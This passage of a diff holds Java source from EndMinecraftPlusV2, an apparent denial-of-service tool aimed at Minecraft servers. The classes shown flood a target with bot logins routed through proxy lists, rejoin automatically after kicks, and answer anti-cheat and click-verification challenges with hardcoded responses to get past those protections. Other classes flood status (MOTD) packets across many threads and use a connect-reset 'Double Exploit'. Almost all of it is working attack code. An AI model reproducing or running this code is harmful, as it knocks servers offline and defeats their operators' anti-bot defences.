|
public void disconnected(DisconnectedEvent e) {
|
||||||
|
String msg;
|
||||||
|
|
||||||
|
if (e.getCause() == null) {
|
||||||
|
msg = e.getReason();
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(proxy);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
|
if (msg.contains(rejoinDetect)) {
|
||||||
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
|
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||||
|
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
|
||||||
|
rejoin++;
|
||||||
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||||
|
clientName.put(rejoinClient, username);
|
||||||
|
clients.add(rejoinClient);
|
||||||
|
rejoinClient.getSession().connect(false);
|
||||||
|
|
||||||
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
msg = e.getCause().getMessage();
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
failed++;
|
||||||
|
alivePlayers.remove(username);
|
||||||
|
|
||||||
|
client.getSession().disconnect("");
|
||||||
|
clients.remove(client);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return client;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void getMotd(Proxy proxy, String ip, int port) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket(proxy);
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
InputStream in = socket.getInputStream();
|
||||||
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
|
out.write(new byte[]{0x01, 0x00});
|
||||||
|
out.flush();
|
||||||
|
in.read();
|
||||||
|
|
||||||
|
try {
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
socket.close();
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||||
|
if (recvPacket instanceof ServerPluginMessagePacket) {
|
||||||
|
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||||
|
switch (packet.getChannel()) {
|
||||||
|
case "AntiCheat3.4.3":
|
||||||
|
String code = ac3.uncompress(packet.getData());
|
||||||
|
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
|
||||||
|
new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||||
|
session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
|
||||||
|
break;
|
||||||
|
case "anotherstaranticheat":
|
||||||
|
String salt = asac.decodeSPacket(packet.getData());
|
||||||
|
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||||
|
session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
|
||||||
|
break;
|
||||||
|
case "VexView":
|
||||||
|
if (new String(packet.getData()).equals("GET:Verification"))
|
||||||
|
session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
|
session.setFlag("join", true);
|
||||||
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||||
|
joined++;
|
||||||
|
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
|
||||||
|
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||||
|
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
|
||||||
|
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
|
||||||
|
try {
|
||||||
|
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||||
|
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||||
|
session.send(new ClientPlayerMovementPacket(true));
|
||||||
|
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
|
||||||
|
} else if (recvPacket instanceof ServerChatPacket) {
|
||||||
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||||
|
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void clickVerifiesHandle(Message message, Session session, String username) {
|
||||||
|
boolean needClick = false;
|
||||||
|
|
||||||
|
if (message.getStyle().getClickEvent() != null) {
|
||||||
|
for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
|
||||||
|
if (message.getText().contains(clickVerifiesDetect)) {
|
||||||
|
needClick = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (needClick) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
||||||
|
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
||||||
|
clickVerifies++;
|
||||||
|
} else {
|
||||||
|
if (!message.getText().equals("")) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||||
|
for (Message extraMessage:message.getExtra()) {
|
||||||
|
clickVerifiesHandle(extraMessage, session, username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,37 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||||
|
import org.spacehq.packetlib.Client;
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.net.Proxy;
|
||||||
|
|
||||||
|
public class DoubleAttack extends BotAttack {
|
||||||
|
private String username;
|
||||||
|
private Integer totalTimes = 0;
|
||||||
|
private Integer runTimes = 0;
|
||||||
|
|
||||||
|
public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setUsername(String username) {
|
||||||
|
this.username = username;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Client createClient(String ip, int port, String username, Proxy proxy) {
|
||||||
|
totalTimes++;
|
||||||
|
return super.createClient(ip, port, this.username, proxy);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||||
|
super.handlePacket(session, recvPacket, username);
|
||||||
|
if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
|
session.disconnect("Double Exploit - Connection Reset!");
|
||||||
|
runTimes++;
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,22 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
public abstract class IAttack {
|
||||||
|
public String ip;
|
||||||
|
public int port;
|
||||||
|
|
||||||
|
public int attack_time;
|
||||||
|
public int attack_maxconnect;
|
||||||
|
public long attack_joinsleep;
|
||||||
|
|
||||||
|
public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
this.ip = ip;
|
||||||
|
this.port = port;
|
||||||
|
this.attack_time = time;
|
||||||
|
this.attack_maxconnect = maxconnect;
|
||||||
|
this.attack_joinsleep = joinsleep;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract void start();
|
||||||
|
|
||||||
|
public abstract void stop();
|
||||||
|
}
|
@ -0,0 +1,73 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class MotdAttack extends IAttack {
|
||||||
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
private int runTimes = 0;
|
||||||
|
private int errorTimes = 0;
|
||||||
|
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
Runnable task = () -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket();
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||||
|
out.flush();
|
||||||
|
while (socket.isConnected()) {
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||||
|
runTimes++;
|
||||||
|
}
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
errorTimes++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (this.attack_maxconnect < 1) {
|
||||||
|
this.attack_maxconnect = 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < this.attack_maxconnect; i++) {
|
||||||
|
Thread thread = new Thread(task);
|
||||||
|
thread.setName(String.valueOf(i + 1));
|
||||||
|
thread.start();
|
||||||
|
threads.add(thread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
threads.forEach(Thread::stop);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,92 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class MotdAttackP extends IAttack {
|
||||||
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
private int runTimes = 0;
|
||||||
|
private int errorTimes = 0;
|
||||||
|
|
||||||
|
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
Proxy.Type proxyType;
|
||||||
|
switch (ConfigUtil.ProxyType) {
|
||||||
|
case 2:
|
||||||
|
proxyType = Proxy.Type.SOCKS;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
default:
|
||||||
|
proxyType = Proxy.Type.HTTP;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String p: ProxyUtil.proxies) {
|
||||||
|
try {
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
Thread thread = createThread(proxy, ip, port);
|
||||||
|
thread.start();
|
||||||
|
threads.add(thread);
|
||||||
|
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1,"发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
threads.forEach(Thread::stop);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Thread createThread(Proxy proxy, String ip, int port) {
|
||||||
|
Runnable task = () -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket(proxy);
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
|
out.flush();
|
||||||
|
while (socket.isConnected()) {
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
||||||
|
runTimes++;
|
||||||
|
}
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
errorTimes++;
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return new Thread(task);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,94 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
public class MultiVersionPacket {
|
||||||
|
public static void sendTabPacket(Session session, String text) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientTabCompletePacket.class;
|
||||||
|
Constructor<?> constructor = cls.getDeclaredConstructor();
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
|
||||||
|
Field field = cls.getDeclaredField("text");
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(packet, text);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientPlayerPositionRotationPacket.class;
|
||||||
|
Constructor<?> constructor;
|
||||||
|
ClientPlayerPositionRotationPacket packet;
|
||||||
|
try {
|
||||||
|
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
|
||||||
|
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
|
||||||
|
} catch (NoSuchMethodException ex) {
|
||||||
|
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
|
||||||
|
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
|
||||||
|
}
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientSettingPacket(Session session, String locale) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientSettingsPacket.class;
|
||||||
|
Constructor<?> constructor;
|
||||||
|
ClientSettingsPacket packet;
|
||||||
|
try {
|
||||||
|
Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility");
|
||||||
|
Class<?> parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;");
|
||||||
|
Class<?> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand");
|
||||||
|
|
||||||
|
Class<?> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");
|
||||||
|
Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
|
||||||
|
Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
|
||||||
|
|
||||||
|
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
|
||||||
|
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
|
||||||
|
} catch (NoSuchMethodException ex) {
|
||||||
|
Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
|
||||||
|
Class<?> parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
|
||||||
|
|
||||||
|
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
|
||||||
|
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
|
||||||
|
}
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
|
||||||
|
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||||
|
Packet packet = (Packet) constructor.newInstance(slot);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientTeleportConfirmPacket(Session session, int id) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
|
||||||
|
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||||
|
Packet packet = (Packet) constructor.newInstance(id);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
|
||||||
|
try {
|
||||||
|
sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,101 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
import org.spacehq.packetlib.event.session.*;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MCForge {
|
||||||
|
private final MCForgeHandShake handshake;
|
||||||
|
|
||||||
|
public Map<String, String> modList;
|
||||||
|
public Session session;
|
||||||
|
|
||||||
|
public MCForge(Session session, Map<String, String> modList) {
|
||||||
|
this.modList = modList;
|
||||||
|
this.session = session;
|
||||||
|
this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init() {
|
||||||
|
this.session.addListener(new SessionListener() {
|
||||||
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
|
if (e.getPacket() instanceof ServerPluginMessagePacket) {
|
||||||
|
handle(e.getPacket());
|
||||||
|
} else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
|
||||||
|
handshake.handle(e.getPacket());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSent(PacketSentEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connected(ConnectedEvent e) {
|
||||||
|
modifyHost();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnected(DisconnectedEvent e) {
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(ServerPluginMessagePacket packet) {
|
||||||
|
switch (packet.getChannel()) {
|
||||||
|
case "FML|HS":
|
||||||
|
this.handshake.handle(packet);
|
||||||
|
break;
|
||||||
|
case "REGISTER":
|
||||||
|
case "minecraft:register": // 1.13
|
||||||
|
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
|
||||||
|
break;
|
||||||
|
case "MC|Brand":
|
||||||
|
case "minecraft:brand": // 1.13
|
||||||
|
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void modifyHost() {
|
||||||
|
try {
|
||||||
|
Class<?> cls = this.session.getClass().getSuperclass();
|
||||||
|
|
||||||
|
Field field = cls.getDeclaredField("host");
|
||||||
|
field.setAccessible(true);
|
||||||
|
|
||||||
|
field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isVersion1710() {
|
||||||
|
return (getProtocolVersion() == 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isAfterVersion1_13() {
|
||||||
|
return (getProtocolVersion() >= 393);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int getProtocolVersion() {
|
||||||
|
try {
|
||||||
|
Class<?> cls;
|
||||||
|
try {
|
||||||
|
cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
|
||||||
|
}
|
||||||
|
|
||||||
|
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||||
|
return field.getInt(null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,14 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
public abstract class MCForgeHandShake {
|
||||||
|
protected MCForge forge;
|
||||||
|
|
||||||
|
public MCForgeHandShake(MCForge forge) {
|
||||||
|
this.forge = forge;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract void handle(Packet recvPacket);
|
||||||
|
public abstract String getFMLVersion();
|
||||||
|
}
|
@ -0,0 +1,75 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||||
|
import org.spacehq.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class MCForgeHandShakeV1 extends MCForgeHandShake {
|
||||||
|
public MCForgeHandShakeV1(MCForge forge) {
|
||||||
|
super(forge);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(Packet recvPacket) {
|
||||||
|
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||||
|
Session session = forge.session;
|
||||||
|
|
||||||
|
byte[] data = packet.getData();
|
||||||
|
int packetID = data[0];
|
||||||
|
|
||||||
|
switch (packetID) {
|
||||||
|
case 0: // Hello
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
|
||||||
|
|
||||||
|
// ModList
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
try {
|
||||||
|
out.writeVarInt(2);
|
||||||
|
out.writeByte(forge.modList.size());
|
||||||
|
forge.modList.forEach((k, v) -> {
|
||||||
|
try {
|
||||||
|
out.writeString(k);
|
||||||
|
out.writeString(v);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
|
||||||
|
break;
|
||||||
|
case 2: // ModList
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
|
||||||
|
break;
|
||||||
|
case 3: // RegistryData
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
|
||||||
|
break;
|
||||||
|
case -1: // HandshakeAck
|
||||||
|
int ackID = data[1];
|
||||||
|
switch (ackID) {
|
||||||
|
case 2: // WAITING CACK
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
|
||||||
|
break;
|
||||||
|
case 3: // COMPLETE
|
||||||
|
